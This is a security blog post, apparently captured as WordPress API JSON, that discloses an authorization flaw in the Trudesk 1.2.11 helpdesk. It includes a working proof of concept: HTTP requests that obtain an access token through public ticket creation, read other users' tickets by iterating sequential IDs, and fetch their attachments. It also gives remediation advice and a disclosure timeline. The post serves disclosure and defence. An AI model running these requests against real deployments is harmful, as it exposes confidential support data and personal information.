{"id":1028,"date":"2026-10-01T06:05:42","date_gmt":"2026-10-01T06:05:42","guid":{"rendered":"https:\/\/zineausa.com\/blog\/?p=1028"},"modified":"2026-10-01T06:26:48","modified_gmt":"2026-10-01T06:26:48","slug":"trudesk-1-2-11-unauthorized-ticket-access-idor","status":"publish","type":"post","link":"https:\/\/zineausa.com\/blog\/2026\/10\/trudesk-1-2-11-unauthorized-ticket-access-idor\/","title":{"rendered":"Trudesk 1.2.11 Unauthorized Ticket Access IDOR"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">When Your Support Tickets Are Everyone\u2019s Business<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/trudesk.io\/\">Trudesk<\/a> is a popular open-source helpdesk system designed to streamline support, with over 1500 stars on <a href=\"https:\/\/github.com\/polonel\/trudesk\">GitHub<\/a>. However, in the latest version 1.2.11 (commit <code>29f3f169<\/code>), a lack of rigorous authorization checks allows any user to view any ticket and its attachments. This isn&#8217;t just a minor leak; it\u2019s a full-scale data exposure path that can be exploited by anyone with a web browser.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Attack Path<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The exploitation of these vulnerabilities is highly effective when public ticket submission is enabled. An attacker can move from an unauthenticated visitor to a data-scraping threat in seconds:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Step 1<\/strong>: The attacker self-registers by submitting a public ticket through the <code>\/api\/v1\/public\/tickets\/create<\/code> endpoint.<\/li>\n\n\n\n<li><strong>Step 2<\/strong>: The server responds with a JSON object containing a valid <code>accessToken<\/code> for the newly created user.<\/li>\n\n\n\n<li><strong>Step 3<\/strong>: Using this token, the attacker calls the private ticket API.<\/li>\n\n\n\n<li><strong>Step 4<\/strong>: Because ticket UIDs are sequential and numeric, the attacker iterates through IDs to read every ticket in the database.<\/li>\n\n\n\n<li><strong>Step 5<\/strong>: Once a ticket is accessed, any inline images or files referenced in the <code>issue<\/code> body can be downloaded directly from the server without further authorization.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Lab Setup<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Our research was conducted using a vanilla installation to ensure the vulnerabilities were present in a default configuration. The environment was defined as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table  class=\"has-fixed-layout table table-hover\" ><thead><tr><td><strong>Component<\/strong><\/td><td><strong>Details<\/strong><\/td><\/tr><\/thead><tbody><tr><td><strong>Product Version<\/strong><\/td><td>Trudesk 1.2.11 (commit <code>29f3f169<\/code>)<\/td><\/tr><tr><td><strong>Deployment<\/strong><\/td><td>Built from source using <code>docker-compose.local.yml<\/code><\/td><\/tr><tr><td><strong>Environment<\/strong><\/td><td>Node 16.14-alpine \/ MongoDB 5.0-focal<\/td><\/tr><tr><td><strong>Testing Date<\/strong><\/td><td>May 4, 2026<\/td><\/tr><tr><td><strong>Configuration<\/strong><\/td><td>No changes beyond completing the initial setup wizard and enabling public ticket access, as shown below<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"166\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2026\/05\/LIANLI-0071-1024x166.png\" alt=\"Enabling public tickets\" class=\"wp-image-1031\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2026\/05\/LIANLI-0071-1024x166.png 1024w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2026\/05\/LIANLI-0071-300x49.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2026\/05\/LIANLI-0071-768x125.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2026\/05\/LIANLI-0071-1536x249.png 1536w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2026\/05\/LIANLI-0071.png 1787w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Enabling public tickets was the only setting we needed to enable to demonstrate this attack chain<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Proof of Concept<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. Acquiring an Access Token<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The attacker first creates a ticket to gain a valid session. The response includes the user&#8217;s <code>accessToken<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Request:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTTP<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/v1\/public\/tickets\/create HTTP\/1.1\nContent-Type: application\/json\n\n{\n  \"captcha\": \"WDQT\",\n  \"user\": { \"fullname\": \"Attacker\", \"email\": \"attacker@evil.com\" },\n  \"ticket\": { \"subject\": \"Initial Access\", \"issue\": \"Exploit Prep\" }\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Response Snippet:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">JSON<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"success\": true,\n  \"userData\": {\n    \"savedUser\": {\n      \"accessToken\": \"315de664db96c597c1f5fcd4033e7e481fa68e9c\"\n    }\n  }\n}\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Exploiting the IDOR (F1)<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">With the token, the attacker requests a ticket they do not own (UID 1001). The system returns the full ticket object because it only performs a basic authentication check rather than a specific authorization check.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Request:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTTP<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/api\/v1\/tickets\/1001 HTTP\/1.1\naccesstoken: 315de664db96c597c1f5fcd4033e7e481fa68e9c\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Response Snippet:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">JSON<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"success\": true,\n  \"ticket\": {\n    \"uid\": 1001,\n    \"subject\": \"Confidential Project Data\",\n    \"issue\": \"&lt;img src=\\\"\/uploads\/tickets\/uploads\/inline_ad9e9f97ba0e1af4d3f0.png\\\"&gt;\"\n  }\n}\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">3. Unauthorized Attachment Access (F2)<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, the attacker retrieves the attachment path from the ticket body. Files are served as static assets, meaning the system does not check if the requesting user has permission to see the ticket the file belongs to.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Request:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HTTP<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/uploads\/tickets\/uploads\/inline_ad9e9f97ba0e1af4d3f0.png HTTP\/1.1\naccesstoken: 315de664db96c597c1f5fcd4033e7e481fa68e9c\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Result<\/strong>: The server returns the binary file data with an HTTP 200 OK status.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Core Issue: Sequential UIDs and Missing Authorization<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The first vulnerability, identified as <strong>F1<\/strong>, is a classic <strong>Insecure Direct Object Reference (IDOR)<\/strong>. The API endpoint <code>GET \/api\/v1\/tickets\/:uid<\/code> is responsible for fetching ticket details. While it checks if a user is authenticated, it fails to check if that user actually has permission to view the specific ticket requested.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Vulnerable Code<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In <code>src\/controllers\/api\/v1\/tickets.js<\/code>, the logic focuses on data reduction rather than authorization:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">JavaScript<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ticket = _.clone(ticket._doc)\nif (!permissions.canThis(req.user.role, 'tickets:notes')) {\n  delete ticket.notes \/\/ Only hides notes, doesn't block the ticket access\n}\nreturn res.json({ success: true, ticket: ticket })\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The application correctly strips internal &#8220;notes&#8221; for non-agent roles, but it still serves the rest of the ticket object to anyone with a valid <code>accessToken<\/code>. Because Trudesk uses sequential numeric UIDs (e.g., 1001, 1002), an attacker can simply iterate through numbers to scrape the entire database.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Impact and Remediation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This chain allows for the total loss of confidentiality for all support data in the system. For organizations handling sensitive PII or internal infrastructure details via support tickets, this is a critical risk.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">How to Fix It<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Implement Ownership Checks<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>apiTickets.single<\/code> controller must be updated to verify that the <code>req.user<\/code> is either the owner of the ticket, a member of the ticket&#8217;s group, or holds an administrative role. If none of these conditions are met, the server should return a <code>403 Forbidden<\/code> status.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Protect Static Assets<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ticket attachments should never be served as static files. Instead, they should be served through a dedicated API endpoint that performs the same authorization checks as the ticket itself.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Vulnerability Summary Table<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table  class=\"has-fixed-layout table table-hover\" ><thead><tr><td><strong>Finding<\/strong><\/td><td><strong>Severity<\/strong><\/td><td><strong>CWE<\/strong><\/td><td><strong>CVSS v3.1<\/strong><\/td><\/tr><\/thead><tbody><tr><td><strong>F1: IDOR in Ticket Content<\/strong><\/td><td>High<\/td><td>CWE-639<\/td><td>7.5<\/td><\/tr><tr><td><strong>F2: Unprotected Attachments<\/strong><\/td><td>Medium<\/td><td>CWE-284<\/td><td>5.9<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Responsible Disclosure<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">5\/4\/2026 &#8211; A <a href=\"https:\/\/github.com\/polonel\/trudesk\/issues\/754\">GitHub issue<\/a> was created alerting the maintainers of the repository about the issue.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">9\/30\/2026: CVE requested from MITRE<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you&#8217;d like us to evaluate your company&#8217;s security, reach out via our <a href=\"https:\/\/zineausa.com\/contact-us\/\">contact page<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When Your Support Tickets Are Everyone\u2019s Business Trudesk is a popular open-source helpdesk system designed to streamline support, with over 1500 stars on GitHub. However, in the latest version 1.2.11 (commit 29f3f169), a lack of rigorous authorization checks allows any user to view any ticket and its attachments. This isn&#8217;t just a minor leak; it\u2019s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1037,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[37],"class_list":["post-1028","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-writeups","tag-cve"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Trudesk 1.2.11 Unauthorized Ticket Access IDOR - Zinea InfoSec Blog<\/title>\n<meta name=\"description\" content=\"A lack of rigorous authorization checks allows any user to view any ticket and its attachments.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zineausa.com\/blog\/2026\/10\/trudesk-1-2-11-unauthorized-ticket-access-idor\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Trudesk 1.2.11 Unauthorized Ticket Access IDOR - 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